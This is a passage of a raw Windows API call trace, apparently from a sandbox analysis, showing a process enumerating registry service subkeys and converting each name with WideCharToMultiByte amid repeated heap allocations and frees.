RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.720] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.721] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.721] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.721] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.721] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.721] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.721] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.721] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.721] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0259.721] RegCloseKey (hKey=0xc8) returned 0x0 [0259.721] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0259.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.722] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4de0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.722] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4720, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.722] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4de0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.722] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4720, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.723] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4de0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.723] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.723] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0259.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.723] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.724] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.724] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4720, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.724] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0259.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.725] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.725] RegEnumKeyW (in: hKey=0x160, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.725] RegEnumKeyW (in: hKey=0x160, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.725] RegEnumKeyW (in: hKey=0x160, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.726] RegEnumKeyW (in: hKey=0x160, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.726] RegEnumKeyW (in: hKey=0x160, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.726] RegEnumKeyW (in: hKey=0x160, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 